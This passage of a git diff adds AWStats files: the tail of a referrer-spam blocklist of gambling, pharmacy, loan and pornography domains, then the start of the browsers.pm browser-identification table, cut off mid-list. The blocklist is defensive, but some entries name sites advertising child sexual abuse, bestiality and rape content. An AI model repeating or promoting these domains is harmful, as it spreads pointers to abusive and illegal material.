+milesscaffolding.co.uk +milf-hardcore.net +milf-rider.us +milfporn.org +mingholee.com +misterwolf.net +mmorpg-headlines.com +mmsanimati.com +mneuron.com +mobile-repondeur-logo.com +mobile-repondeurs-logos.com +mobilefamilydental.com +mobilequicksale.com +mobilesandringtones.com +mode-domain.de +mode-einkaufsbummel.de +moltobene.ru +monavaletoys.com +money-cash-loans.com +money-room.com +moneybg.com +montaguefineart.com +mookyong.com +mor-lite.net +mor-lite.org +moris-dada.com +mortage-4all.com +mortgage-info-center.com +mortgage-rates-guide.net +mortgagemarketinginc.com +mortgagequestaz.com +mortgagerates4all.com +mortgages-links.net +mortloan.com +mostika.us +mother-son-incest-sex.net +motonet.pl +movies6.com +mp-forum.com +mp3download.bz +mp3x.biz +mpeg2pci.com +mrgoicoechea.com +mrn.vip.sina.com +mrpiercing.com +multipurpose-plants.net +multiservers.com +music-downloads-links.com +musica-da-scaricare.net +musica-gratis.biz +musica-gratis.org +musica-karaoke.net +musica-mp3.biz +musicamp3.us +musicbox1.com +musiccheap.us +musicenergy.com +muxa.ru +mxbearings.com +my-age.net +my-dating-agency.com +my-discount-cigarettes.com +my-sex-toys-store.com +myasiahotels.com +mybestcasinos.net +mybestclick.com +mycasinohome.com +mycheapcigstore.com +mycialispharmacy.com +mydatingagency.com +mydietdoctor.com +myeuropehotels.com +myfavlinks.de +mygenericrx.com +myrice.com +myrtlejones.com +myslimpatch.com +mystify2001.com +naar.be +nabm(il|li)or.com # Home to spammed drug subdomains +nabpak.org +naked-gay.us +naked-pussy.us +naked-womens-wrestling-league-dvds.com +naked-womens-wrestling-league-videos.com +nakedboysfirsttime.com +nancyflowerswilson.com +narod.ru +nasty-pages.com +natel-mobiles.com +natural-barleygreen.com +natural-breasts-enhancement.net +naturalknockers.net +nehrucollege.org +neiladams.org.uk +net-mature.com +net-von-dir.de +netdims.com +netizen.org +netleih.de +netlogo.us +netsx.org +neurogenics.co.uk +new-cialis.com +neweighweb.net +neweighweb.org +newfurnishing.com +newgallery.co.uk +newmail.ru +newsnewsmedia.com +newtruths.com +newxwave.com +nfl-football-tickets.biz +nice-pussy.us +nicepages.biz +nicepages.net +nicepages.org +niceshemales.net +nichehit.com +nicolepeters.com +nieruchomosci.biz.pl +nifty-erotic-story-archive.blogspot.com +niibacca.afraid.org +nikkiwilliams.info +njhma.com +njunite.net +no-cavities.com +no-title.de +no1pics.com +nohassle-loans.com +noni-jungbrunnen.com +noni-top-chance.com +noni-vitalgetraenk.com +noniexpert.com +nonstop-casino.com +nonstopsex.org +noslip-picks.com +notsure.de +novacspacetravel.com +now-hiringsluts.com +nr-challenges.org +nude-black.us +nude-celebrity-dvd.com +nude-movies.us +nude-teens.name +nude-video.us +nudevol.us +nutritional-supplements.ws +nutritionalsupplementstoday.com +nutzu.com +nwwl-dvds.com +nwwl-videos.com +nylonex.com +nz.com.ua +odrducmibedfghj.com +officexl.de +officezl.com +officialdarajoy.com/wwwboard +officialdentalplan.com +officialsatellitetv.com +offseasonelves.com +ohamerica.org +okuk.org +old-sexy-sluts.com +olderr.4t.com +oldgrannyfucking.com +oliviagadamer.com +omega-fatty-acid.com +on-line-casino-deutsch.com +on-line-casinos-online.com +on-line-casinos-online.net +on-line-degree.org +on-line-kasino-de.com +on-pok.com +one-blackjack.com +one-cialis.com +one-debt-consolidation.com +one-poker-online.com +one-propecia.com +one-soma.com +onepiecex.net +oneseo.com +onexone.org +online-----poker +online--blackjack.info +online--pharmacy.us +online--sports-betting.com +online-auction-tricks.com +online-background-check.biz +online-black-jack-download.com +online-blackjack-online.com +online-buy-plavix.com +online-credit-report-online.com +online-dating-com.com +online-dating-singles-service.com +online-deals99.com +online-dot.com +online-escort-service.com +online-flexeril.com +online-gambling-123.biz +online-gambling-123.us +online-gambling-online.org +online-games-links.net +online-games24x7.com +online-games24x7.net +online-generics-store +online-job-source.com +online-medications24x7.com +online-pharmacy-24x7.net +online-pharmacy-online-pharmacies.com +online-pharmacy-order.com +online-photo-print.com +online-poker--tips.com +online-poker-200 +online-poker-333.com +online-poker-555.com +online-poker-888 +online-poker-a.com +online-poker-big.com +online-poker-bonus.us +online-poker-free.com +online-poker-guide.info +online-poker-kick-butt.com +online-poker-net.com +online-poker-online-poker +online-poker-special.com +online-poker-top-rated.com +online-prescription-pharmacy.com +online-prescription.st +online-prescriptions-internet-pharmacy.com +online-propecia-buyer.com +online-sports--betting +online-sports-betting-source +onlinedegreehq.com +onlinegamingassociation.com +onlinegamingassociation.com +onlinehgh.com +onlinepharmacy2004.net +onlinepoker-dot.com +onlinepoker-i.com +onlineshop.us.com +onlineslotsarcade.com +onlinesmoker.com +opensorcerer.org +operazione-trionfo.net +optimumpenis.com +oral-sex-cum.com +order-claritin.net +order-effexor.net +ordernaturals.com +orlandodominguez.com +orospu.us +otito.com +ottawavalleyag.org +our-planet.org +ourhealthylife.net +ourtownhelps.org +outoff.de +overseaspharmacy.com +ovulation-kit.com +owns1.com +ownsthis.com +p-reise.de +p5.org.uk +p6.org.uk +p7.org.uk +p8.org.uk +p9.org.uk +pacific-poker-top-place.com +pages4people.com +pagetwo.org +pai-gow-keno.com +painkillersonline.biz +paisleydevelopmentassociation.org +pamperedchef-online.com +paololinks.porkyhost.com +paperscn.com +paramountseedfarms.net +paramountseedfarms.org +paris-and-nicky-hilton-pictures.blogspot.com +paris-hilton-video-blog.com +paris-hilton-videos.biz +paris-movie-hilton.blogspot.com +paris-naked-hilton.blogspot.com +paris-nicky-hilton.blogspot.com +paris-nikki-hilton.blogspot.com +parkviewsoccer.net +parkviewsoccer.org +partnersmanager.com +partnersuche-partnervermittlung.com +party-poker-e.com +party-poker-leading-site.com +party-poker-ltd.com +party-poker-player.com +party-poker-x +partybingo.com +partypoker-i +partypoker-i.us +partypoker.com +partypokeronline.org +passende-klamotten.de +passwordspussynudity.com +pastramisandwich.us +pasuquinio.com +payday-cash-loans +payday-loan +payday-loan-payday.com +paydayl0an.com +paylesspaydayloans.com +payment-processing.com +paysites.info +pc-choices.com +pcdweb.com +pedronetwork.com +pedronetwork.com +peepissing.com +penelopeschenk.com +penilestretch.com +penis-enlargment.net +penisimprovement.com +penisresearch.com +perfect-dedicated-server.com +perfect-mortgage-lead-4-u.com +perkyoneplace.com +personal-finance-tips.com +personal-injuries-law.com +personal-injury-lawyer.us.com +personalads.us.com +personales.com +personals-online-personals.com +personalserotic.com +petlesbians.com +petroglyphx.com +phantadu.de +pharmaceicall.com +pharmacy-links.net +pharmacy2003.com +pharmacyprices.net +philippestarckwatches.co.uk +phone-cards-globe.pushline.com +phono.co.il +photobloggy.buzznet.com +php5.sk +phrensy.org +picnic-basket.more.at +pics--movies.com +pics-db.com +pics-porn.org +pics-stories.com +pics-videos.net +picsfreesex.com +picsteens.com +pictures-and-videos.com +pictures-archive.com +pictures-movies.net +pictures-movies.org +pictures6.com +piercing-auswaehlen.de +piercing-magic.com +piercingx.com +piggi.descom.es +pill-buy.com +pillblue.com +pillchart.com +pillexchange.net +pillfever.com +pillgrowth.com +pillhub.com +pillhunt.com +pillinc.com +pillmarket.net +pills-for-penis.com +pillsbestbuy.com +pillsdomain.com +pillsking.com +pillslim.com +pillsupplier.com +pilltip.com +pimpcasino.com +pimphos.com +pimpspace.com +pinkzoo.com +piranho.com +pisangrebus.com +pj-city.com +planetluck.com +plasticmachinery.net.cn +play-7-card-stud-poker.com +play-7-card-stud-poker.us +play-cash-bingo-online.com +play-online-poker-z.com +play-partypoker.us +play-poker-i.com +play-poker-onlie-kick-ass.com +play-poker-online-z.com +play.eu.com +playandwin777.com +playandwinit777.net +player-tech.com +playgay.biz +playmydvd.com +playnowpoker.com +playweb.blogspot.com +plygms.de +pocketsound.org +pok7.com +pokemon-hentai.com +pokemon-hentai.org +pokemonhentai.net +pokemonx.biz +poker-8.com +poker-888-e.com +poker-e-win.com +poker-e-wins.com +poker-games-bonus.com +poker-games-top-ranked.com +poker-games.cjb.net +poker-hands-secrets.com +poker-homepage.com +poker-magic.org +poker-me-up.com +poker-on-web.com +poker-online-anytime.com +poker-rooms-777 +poker-rooms-777.com +poker-rules-easy-4u.com +poker-tables-best-deals.com +poker-w.com +poker-wsop-2005.com +poker777game +poker79.com +pokerorg.net +pokerpage.biz +pokerpartnership.com +pokerqu.com +pokerweb.be +polifoniczne.org +polyphone.us +pompini.nu +popwow.com +porevo.lookin.at +porn-4u.net +porn-dvds-dot.com +porn-house.us +porn-sites-list.com +porn-stars.org +porn-stud-search.org +pornevalution.com +porngrub.com +pornlane.com +porno-v.com +pornogratis.bz +pornosexbest.com +pornostars.cc +pornovideos-versand.com +pornstar4all.com +pornwww.com +poster-shop.us +postersshop.us +power-rico.de +pregnant-sex-free.us +prepaylegalinsurance.com +prescription-drugs.st +prescriptions.md +preteen-models.biz +preteen-sex.info +preteen-young.net +prettypiste.com +princeofprussia.org +printerinkseller.com +prism-lupus.org +privacy-online.biz +private-krankenversicherung-uebersicht.com +private-network.net +privatediet.com +pro-collegefootballbetting.com +pro-rolex-replica-watches +pro-rolex-replica-watches.com +product-paradise.com +projector-me.com +prom-prepared.com +promindandbody.com +propecia-depot.com +propecia-for-hair-loss.com +propecia-for-hair-loss.net +propecia-info.net +propecia-store.com +propecia.bravehost.com +propeciaonline.biz +propeciapower.com +prosearchs.com +pryporn.com +pseudobreccia60.tripod.com.ve +psites.biz +psites.net +psites.org +psites.us +psxtreme.com +psychexams.net +psychexams.org +punksongslyrics.com +puppyduk.com +pureteenz.com +pushline.com +pussy-cum.us +pussy-d.com +pussy-movies.us +qinsi.com +qqba.com +quangoweb.com +quick-drugs.biz +quick-drugs.com +quickdomainnameregistration.com +quickie-quotes.com +r-300.com +r-3100.com +r-400.com +r-4100.com +r00m.com +racconti-gay.org +radsport-artikel.de +raf-ranking.com +ragazze.bz +rampantrabbitvibrator.co.uk +randyblue.info +randysrealtyreview.com +rape--stories +rape-fantasy-pics.com +rape-stories.biz +rapestoriespics +rapid-merchant-account.com +rapid.myserver.org +ratenkredit-center.de +ratenkredit-shop.de +raw-pussy.us +rbfanz.com +real-online-poker +real-sex.us +realestateslaws.com +realisticforeignpolicy.org +reality-xxx.biz +reallyhot.org +realmilfgangbang.biz +realtickling.com +rebjorn.co.uk +redcentre.org +redi.tk +refinance-mortgage-home-equity-loan.com +reggaeboyzfanz.com +registerxonline.com +registrarprice.com +reglament-np.ru +reisen-domain.de +relievepain.org +rent-games-movies.com +rental-2004.com +rentalcarsplus.com +repair-restore-bad-credit-report-identity-theft.com +repaircreditonline.net +repondeurs-logos-mobile.com +republika.pl +reservedining.net +reservedining.org +restaurant-l.de +rethyassociates.net +rethyassociates.org +reviewonlinedating.com +rhinoslinks.com +rhinosthumbs.com +ricettegolose.com +richshemales.com +rifp.org +rightdebt.com +ringsignaler-ikon-spel.com +ringtone-logo-game.com +ringtoner-logoer-spill.com +ringtonespy.com +rittenhouse.ca +rmg.com.cn +robinson-entertainment.com +robosapiensource +robosapiensource.com +roboticmilking.com +romane-buecher.de +romeo-ent.com +ronnieazza.com +rossmann.de +roulette---online.com +roulette-w.com +royaladult.com +royalfreehost.com/teen/amymiller +royalmailhotel.com +ru21.to +ruitai88.com +rulo.biz +rx-central.net +rx-lexapro.biz +rx-pills-r.us +rx-store.com # Catchall for many spam sites +rxpainrelief.net +rxpills.biz +rxweightloss.org +rydoncycles.co.uk +s-fuck.com +s-sites.net +safecreditonline.com +sailor-moon-hentai.org +sailor-moon-hentai.us +salcia.co.uk +salute-bellezza.net +salute-bellezza.org +salute-benessere.org +salute-e-benessere.net +salute-igiene.com +salute-malattie.com +salute-malattie.net +samiuls.com +sandhillaudio.com +sandrabre.de +sapphicerotica.biz +sarennasworld.com +sat-direct.net +satellite-direct-for-you.com +satellite-network-tv.com +satellite-tv.cjb.net +satellite.bravehost.com +satellitetv-reviewed.tripod.com +satellitetvboutique.com +saveondentalplans.com +saveonpills.net +sbdforum.com +sbt-scooter.com +sc10.net +scarica-mp3.biz +scarica-mp3.com +scarica-musica-mp3.org +scarica-musica.com +scarica-musica.org +scaricamp3.us +scaricare-canzoni.com +scaricare-canzoni.net +scaricare-canzoni.org +scaricare-mp3.org +scatporn.info +scent-shopper.com +schanee.de +schmuck-domain.de +scottneiss.net +se-traf.com +se24h.com +search-1.info +search-engine-optimization-4-us.com +search-milf.com +search722.com +searchinsurance.net +searchtypo.com +secureroot.org +security-result.com +sedonaretreat.org +seekartist.com +seeker-milf.com +seitensprung-gratis.com +selectedsex.com +selena-u.ru +selten-angeklickt.de +semax14.info +semax15.info +semax16.info +sempo-tahoe.com +senior.mine.nu +seoy.com +servepics.com +servicesdating.net +sesso-gratis.cc +sesso-online.net +sessoanalex.com +sessox.biz +seven-card-stud.biz +seven-card-stud.us +sewilla.de +sex-4you.org +sex-bondagenet.org +sex-friend.info +sex-livecam-erotik.net +sex-lover.org +sex-manga.us +sex-mates.info +sex-photos.org +sex-pic-sex.com +sex-pussy.us +sex-toys-next-day.com +sex4dollar.com +sexadultdating.com +sexbrides.com +sexchat.ccx +sexcia.com +sexe.vc +sexglory.com +sexiestserver.com +sexingitup.com +sexmuch.com +sexo9.com +sexplanets.com +sexschlucht.de +sexshop-sexeshop.com +sexshop.tk +sextoysportal.com +sextoyssexvideos.com +sexual-shemales.com +sexual-story.blogspot.com +sexushost.com +sexvoyager.com +sexwebclub.com +sexwebsites.com +sexy-ass.us +sexy-babes.us +sexy-celebrity-photos.com +sexy-girls.org +sexy-lesbian.us +sexy-pussy.us +sexynudea.com +sfondi--gratis.com +sfondi-desktop-gratis.com +shadowbaneguides.net +shannon-e.co.uk +shareint-store.com +shemale-cum-tgp.com +shemale-girls.com +shemalesex.biz +shemalesland.com +shemalezhost.com +shemalki.com +shfx-bj.com +shhilight.com +shirts-t-shirts.com +shop-opyt.com +shop.tc +shop24x7.net +shopping-liste.de +shoppingideen-xxl.de +shoppyix.com +showsontv.com +sicarrow.co.uk +silky-smooth-pussy.com +simon-scans.com +simple-pharmacy.com +simplemeds.com +simpsonowen.co.uk +sindyhalliday.com +sinfree.net +site-mortgage.com +sitesarchive.com +siti-porno.us +ski-resorts-guide.com +skidman.com +slatersdvds.co.uk +slng.de +slot-machines-slots.com +slotmachinesguide.net +slots-8.com +slots-w.com +slotsjockey.com +slowdownrelax.com +slut-wife-story.blogspot.com +slutcities.com +small-business-grants.biz +smallbusinessgrants.biz +smart-debt-consolidation-and-credit-services.com +smartdot.com +smartonlineshop.com +smerfy.pl +sms-sms-sms.org +sms-sprueche-4fun.de +sms-sprueche.com +sms.pl +smutwebsites.com +sneakysleuth.com +socoplan.org +sofort-mitgewinnen.de +sofortkredit-tipps.de +soft-industry.com +soft.center.prv.pl +software-einkaufsmarkt.de +software-linkliste.de +software-review-center.org +software.thedir.net +softwaredevelopmentindia.com +soittoaanet-logot-peli.com +sol-web.de +soma-cheap-soma.com +soma-solution.com +soma-web.com +soma.st +somacheap +somaspot.com +sommerreisen-2004.de +sonderpreis.de.com +sonnerie-compositeur.com +sonnerie-hifi-sms.com +sonnerie-logo-jeu.com +sonnerie-logo-sonneries.com +sonnerie-logos-sonneries.com +sonnerie-logos.be +sonnerie-max.com +sonnerie-portable-composer.com +sonnerie-portable.be +sonnerie-sonneries-logo.com +sonnerie-sonneries-logos.com +sonnerie-sonneries.net +sonnerie.net +sonneries-gsm-sms.com +sonneries-sonnerie-logo.com +sonneries-sonnerie-logos.com +sonneries.fr +sorglos-kredit.de +soulfulstencils.com +southbeachdiet.us.com +southbeachdietrecipe.biz +spacige-domains.de +spannende-spiele.de +spassmaker.de +speedsurf.to +speedy-insurance-quotes.com +spermincreasingpills.com +spiele-kostenlose.com +spiele-planet.com +spoodles.com +sportartikel-auswahl.de +sportecdigital.com +sportingcolors.org +sportlich-chic.de +sports---betting.com +sports-betting- +sports-betting-a.com +sports-inter-action.com +sportsbettingexpert.com +sportsorg.biz +sportsparent.com +spp-net.de +spy-patrol.com +spyshots.bpa.nu +spyware-links.com +staffordshires.net +staplethis.de +starpills.com +statusforsale.de +steelstockholder.co.uk +stellenangebote-checken.de +stellenangebote-l.de +stevespoliceequipment.com +stfc-isc.org +sting.cc +stmaryonline.org +stock-power.com +stolb.net +stop-depression.com +stop-snoring.crpublish.com +stopp-hier.de +stopthatfilthyhabit.com +stories--archive.com +stories-adult.net +stories-inc.com +stories-on-cd.net +stories-on-cd.org +storiespics +storiespics.game-host.org +storiespics.game-server.cc +storiespics.gotdns.com +storiespics.gotdns.org +storiespics.ham-radio-op.net +storiespics.homedns.org +storiespics.homeftp.net +storiespics.homeftp.org +storiespics.homeip.net +storiespics.homelinux.com +storiespics.homelinux.net +storiespics.homelinux.org +storiespics.homeunix.com +storiespics.homeunix.net +storiespics.homeunix.org +striemline.de +stripclubexposed.info +strivectinsd.com +stunningsextoys.com +styrax-benzoin.com +success-biz-replica.com +suma-eintragen.de +sumaeintrag-xxl.de +sunbandits.com +sunnyby.com +suonerie-center.com +suonerie-download.com +suonerie-loghi-gratis.com +suonerieloghix.com +suoneriex.net +suoyan.com +super-bowl-bet.biz +super-celebs.com +super-cialis.com +superbowl--betting.com +superdolphins.org +superpornlist.com +surfe-und-staune.de +susiewildin.com +sutra-sex.com +suttonjames.net +suttonjames.org +svitonline.com +swedenet.com +swedenetwork.com +sweet-horny.com +sweetbuyz.com +sweethotgirls.com +sweetteenbodies.com +swinger-story.blogspot.com +swingersadult.net +swingersunidos.com +sydney-harbour.info +sylphiel.org +sylviapanda.com +sysaud.com +t35.com +t3n.org +tabsinc.com +take-credit-cards.com +taliesinfellows.org +talktobabes.com +tanganyikan-cichlids.co.uk +tapbuster.co.uk +taremociecall.com +targetindustries.net +targetingpain.net +tattoo-entwuerfe.de +tatuaggi-gratis.com +tatuaggi-piercing.org +tatuaggi-tribali.com +tatuaggi.cc +tatuaggi.us +tatuaggitribali.com +tclighting.net +tclighting.org +tdk-n.com +teambeck.org +teamregules.com +tecrep-inc.net +tecrep-inc.org +teddbot.com +teddnetwork.com +teen-babes.us +teen-boys-fuck-paysite.com +teen-d.com +teen-hentai.us +teen-movie.us +teen-porn-movie.net +teen-sex-porn-models.com +teen-video.us +teen-xxx.us +teenagerzone.com +teenbrazil.info +teenbrazil.ws +teens.wox.org +teensluts.org +teentopanga.name +teenxxxpix.net +telechargement-logiciel.com +terminator-sales.com +terra.es/personal2/dee7boquo +terra.es/personal2/markus69 +testi-canzoni.com +testi-canzoni.net +testi-musicali.com +testi-musicali.net +testi.cc +tests-shop.com +tette.bz +tettone.cc +texas--hold--em +texas--hold-em +texas--holdem +texas-hold-em +texas-holdem +texas-poker +texasproptax.com +tgplist.us +thatwhichis.com +the-boys-first-time.net +the-boysfirsttime.com +the-date.com +the-first-time-auditions +the-hun-site.com +the-hun-yellow-page-tgp.com +the-pill-bottle.com +the-proxy.com +the1930shome.co.uk +thebans.com +theblackfoxes.com +theceleb.com +thecraftersgallery.com +thefreecellphone.com +thehadhams.net +themadpiper.net +thepornhost.com +thepurplepitch.com +therosygarden.com +thesoftwaregarage.co.uk +thespecialweb.com +thewebbrains.com +thorcarlson.com +thumbscape.com +ticket-marktplatz.de +tickets4events.de +tiere-futter.de +tiffany-towers.com +tigerspice.com +tikattack.com +timescooter.com +tina4re.com +tips-1a.de +tits-center.com +tits-cumshots.net +tm258.com +tmsathai.org +tofik.pl +tokyojoes.info +tonos-celulares.com.mx +tonos-nokia.com.mx +top-blackjack-game +top-blackjack.net +top-casinos-net.com +top-cialis.com +top-deals-online-pharmacy +top-deals-pills +top-deals-pills.info +top-deals-viagra +top-dedicated-servers.com +top-des-rencontres.com +top-fioricet.com +top-internet-blackjack.com +top-milf.com +top-of-best.de +top-online-poker-bonuses +top-online-slots.com +top-pharmacy.net +top-poker-21.com +top-sex-base.com +top-skelaxin.com +top-soma.com +top-the-best.de +top-video-poker.info +top-wins-2005.com +topaktuelle-tattos.de +topcialis.com +topmeds.net +toques-logos-jogos.com +toshain.com +total-verspielt.de +totallyfreecreditreport.org +touchwoodmagazine.org.uk +tournamentpoker.biz +training-one.co.uk +trannies.angelcities.com +tranny-pic-free.com +tranny-sex-clips.com +tranny.150m.com +trannys.blowsearch.ws +trannysexmovie.com +transbestporn.com +transestore.com +transpire.de +traum-pcs.de +treocat.com +triadindustries.co.uk +trixieteen.org +troggen.de +troie.bz +trolliges.de +trucchi-giochi.us +trueuninstall.com +trumpetmission.org +tt33tt.com +tt7.org +tubegator.com +tuff-enuff.fnpsites.com +turist.com.pl +tvforum.org +twinky.org +tygef.org +u-w-m.ru +uaeecommerce.com +ufosearch.net +uk-virtual-office-solutions.com +uk.net +ukrainewife.net +ultra-shop.info +ultracet-web.com +ultrampharmacy.com +unbeatablecellphones.com +unbeatablemobiles.co.uk +unbeatablerx.com +unccd.ch +underage-pussy.net +undonet.com +uni-card.ru +united-cash.com +unitedarchive.com +unrisd.com +unscramble.de +unterm-rock.us +upsms.de +urlaubssonne-tanken.de +us-cash.com +us-meds.com +usa-birthday-flowers.com +usa-car-insurance.com +usa-car-loans.com +usa-cash-advance.com +usa-escorts-123.com +usbitches.com +uscashloan.com +usedcarsforsale +v27.net +v29.net +v3.be +vacation-rentals-guide.com +valeofglamorganconservatives.org +vcialis.com +venera-agency.com +veranstaltungs-tickets.de +vergleich-versicherungsangebote.de +versicherungsangebote-vergleichen.de +versicherungsvergleiche-xxl.de +versteigerungs-festival.de +verybrowse.com +verycd.com +verycheapdentalinsurance.com +viaggix.com +viapaxton.com +video-n.com +video-poker +video-poker-dot.com +video-poker-world.net +video-porno.nu +videohentai.org +videoportfolios.com +vilentium.de +villagesx.com +vimax.lx.ro +vimax.topcities.com +vip-condom.com +vip-online-pharmacy.com +vitamins-for-each.com +vivalatinmag.com +vivlart.com +vixensisland.com +vladgorlum.gotdns.com +vladstepanov.brunst.dk +vod-solutions.com +voiphone.cn +vonormytexas.us +vpmt.com +vpshs.com +vrajitor.com +vtsae.org +w-ebony.com +w5.pl +wake.rlights.com +waldner-msa.co.uk +wancheng.cn +warblog.net +washere.de +watches-sales.com +waterbeds-dot.com +wayshell.co.uk +wblogs.com +wcgaaa.org +we-live-together-4u.com +weareconfused.org.uk +wearethechampions.com +web-aks.com +web-cam-101.com +web-cam-porn.net +web-cialis.com +web-revenue.com +webanfragen.de +webblogs.biz +webcam-erotiche.com +webcenter.pl +webcindario.com +webcopywizard.net +webhgh.com +webpark.pl +webrank.cn +websitedesigningpromotion.com +weddings-info.com +weddings-links.com +weekend-cialis +weighlessrx.com +weight-loss-central.org +weight-loss-links.net +weightlossplace.net +weitere-stellenangebote.de +wellness-getraenk.de +wet-4all.com +wet-pantie.net +wet-pussy.us +wethorny.com +whackingpud.com +white-shadow-nasty-story.blogspot.com +whitehouse.com +whizzkidsuk.co.uk +wholesalepocketbike.com +wild-porno-girls.com +willcommen.de +win-in-poker.com +wincmd.ru +wincrestal.com +windcomesdown.com +wirenorth.com +wiset-online.com +wisskie.cx +witch-watch.com +witz-net.de +wizardsoul.com +woodyracing.co.uk +workfromhome-homebasedbusiness.com +world-candle.com +world-cheese.com +world-series-of-poker-1996.com +worldmusic.com +worldsexi.com +worldwide-deals.net +worldwide-games.net +worldwide-holdem.com +worldwide-online-pharmacy.net +worldwide-sources.com +worldwidecasinosearch.com +wotcher.de +www-sesso # Catchall for many spam sites +www-webspace.de +x-baccarat.com +x-baccarat.us +x-beat.com +x-bingo.com +x-craps.com +x-craps.us +x-fioricet.com +x-free-casino-games.com +x-internet-casino.com +x-jack.us +x-pictures.net +x-pictures.org +x-ring-tones.com +x-ringtones.com +x-roulette.com +x-roulette.us +x-roullete.com +x-slots.com +x-slots.us +x-stories.org +x-video-poker.com +x-video-poker.us +xadulthosting.com +xadultpersonals.com +xaper.com +xdolar.com +xfreehosting.com +xgsm.org +xgsmhlhc.com +xin-web.de +xingzhiye.com +xlboobs.net +xmilf.us +xmix.net +xnxxx.com +xpictx.com +xprescription.com +xprv.com +xrated-midgets.com +xratedcities.com +xsesso.biz +xxshopadult.com +xxuz.com +xxx-alt-sex-story.blogspot.com +xxx-database.com +xxx-dvd.biz +xxx-erotic-sex-story.blogspot.com +xxx-first-time-sex-story.blogspot.com +xxx-free-erotic-sex-story.blogspot.com +xxx-gay-sex-story.blogspot.com +xxx-girls-sex.com +xxx-password-web.com +xxx-pussy.us +xxx-sex-movies.org +xxx-sex-story-post.blogspot.com +xxx-spanking-story.blogspot.com +xxx-stories.net +xxx-story.blogspot.com +xxxchan.com +xxxseeker.com +xxxwashington.com +xz9.com +yaboo.dk +yaninediaz.com +ybuano.org +yellowmonkey.com +yellowmonkey2.com +yellowmonkey55.com +yelucie.com +yisosky.vip.sina.com +ymf.name +yoga-mats.freeservers.com +yoll.net +you-date.com +young-ass.us +your-tattoo.de +yourcialis.info +yourdentalinsuranceonline.com +yourowncolours.co.uk +yourserver.com +ypoker.net +yubatech.com +yukka.inc.ru +zalaszentgrot.com +zaotao.com +zazlibrary.com +zenno.info +zfgfz.net +zipcodedownload.com +zipcodesmap.com +zithromax-online.net +zj.com +zone-b51.com +zoo-sex-pics.com +zoo-sex.biz +zoo-sex.info +zoo-zone.com +zooeurope.com +zoofil.com +zoofilia-fotos.com +zoomaniz.flnet.org +zoosex-motion-videos.com +zoosex-pictures.com +zoosx.net +zpics.net +zt148.com +zum-bestpreis.de +zweree.com +zxyzxy.com \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/browsers.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/browsers.pm new file mode 100644 index 0000000..ebd3cf5 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/browsers.pm @@ -0,0 +1,775 @@ +# AWSTATS BROWSERS DATABASE +#------------------------------------------------------- +# If you want to add a Browser to extend AWStats database detection capabilities, +# you must add an entry in BrowsersSearchIDOrder and in BrowsersHashIDLib. +#------------------------------------------------------- +# $Revision: 1.68 $ - $Author: eldy $ - $Date: 2012/12/05 13:14:22 $ + +# 2006-05-15 Sean Carlos http://www.antezeta.com/awstats.html +# akregator (rss) +# AppleSyndication (rss) +# BlogBridge http://www.blogbridge.com/ (rss) +# BonEcho (Firefox 2.0 alpha) +# FeedTools http://sporkmonger.com/projects/feedtools/ (rss) +# gnome\-vfs.*neon http://www.webdav.org/neon/ +# GreatNews http://www.curiostudio.com/ (rss) +# Gregarius devlog.gregarius.net/docs/ua (rss) +# hatena rss http://r.hatena.ne.jp/ (rss) +# Liferea http://liferea.sourceforge.net/ (rss) +# PubSub-RSS-Reader http://www.pubsub.com/ (rss) +# 2006-05-20 Sean Carlos http://www.antezeta.com/awstats.html +# Potu Rss-Reader http://www.potu.com/ +# OSSProxy http://www.marketscore.com/FAQ.Aspx + + +#package AWSUA; + +# Relocated from main file for easier editing +%BrowsersFamily = ( + 'msie' => 1, + 'firefox' => 2, + 'netscape' => 3, + 'svn' => 4, + 'opera' => 5, + 'safari' => 6, + 'chrome' => 7, + 'konqueror' => 8 +); + +# BrowsersSearchIDOrder +# This list is used to know in which order to search Browsers IDs (Most +# frequent one are first in this list to increase detect speed). +# It contains all matching criteria to search for in log fields. +# Note: Regex IDs are in lower case and ' ' and '+' are changed into '_' +#------------------------------------------------------- +@BrowsersSearchIDOrder = ( +# Most frequent standard web browsers are first in this list except the ones hardcoded in awstats.pl: +# firefox, opera, chrome, safari, konqueror, svn, msie, netscape +'elinks', +'firebird', +'go!zilla', +'icab', +'links', +'lynx', +'omniweb', +# Other standard web browsers +'22acidownload', +'abrowse', +'aol\-iweng', +'amaya', +'amigavoyager', +'arora', +'aweb', +'charon', +'donzilla', +'seamonkey', +'flock', +'minefield', +'bonecho', +'granparadiso', +'songbird', +'strata', +'sylera', +'kazehakase', +'prism', +'icecat', +'iceape', +'iceweasel', +'w3clinemode', +'bpftp', +'camino', +'chimera', +'cyberdog', +'dillo', +'xchaos_arachne', +'doris', +'dreamcast', +'xbox', +'downloadagent', +'ecatch', +'emailsiphon', +'encompass', +'epiphany', +'friendlyspider', +'fresco', +'galeon', +'flashget', +'freshdownload', +'getright', +'leechget', +'netants', +'headdump', +'hotjava', +'ibrowse', +'intergo', +'k\-meleon', +'k\-ninja', +'linemodebrowser', +'lotus\-notes', +'macweb', +'multizilla', +'ncsa_mosaic', +'netcaptor', +'netpositive', +'nutscrape', +'msfrontpageexpress', +'contiki', +'emacs\-w3', +'phoenix', +'shiira', # Must be before safari +'tzgeturl', +'viking', +'webfetcher', +'webexplorer', +'webmirror', +'webvcr', +'qnx\svoyager', +# Site grabbers +'cloudflare', +'grabber', +'teleport', +'webcapture', +'webcopier', +# Media only browsers +'real', +'winamp', # Works for winampmpeg and winamp3httprdr +'windows\-media\-player', +'audion', +'freeamp', +'itunes', +'jetaudio', +'mint_audio', +'mpg123', +'mplayer', +'nsplayer', +'qts', +'quicktime', +'sonique', +'uplayer', +'xaudio', +'xine', +'xmms', +'gstreamer', +# RSS Readers +'abilon', +'aggrevator', +'aiderss', +'akregator', +'applesyndication', +'betanews_reader', +'blogbridge', +'cyndicate', +'feeddemon', +'feedreader', +'feedtools', +'greatnews', +'gregarius', +'hatena_rss', +'jetbrains_omea', +'liferea', +'netnewswire', +'newsfire', +'newsgator', +'newzcrawler', +'plagger', +'pluck', +'potu', +'pubsub\-rss\-reader', +'pulpfiction', +'rssbandit', +'rssreader', +'rssowl', +'rss\sxpress', +'rssxpress', +'sage', +'sharpreader', +'shrook', +'straw', +'syndirella', +'vienna', +'wizz\srss\snews\sreader', +# PDA/Phonecell browsers +'alcatel', # Alcatel +'lg\-', # LG +'mot\-', # Motorola +'nokia', # Nokia +'panasonic', # Panasonic +'philips', # Philips +'sagem', # Sagem +'samsung', # 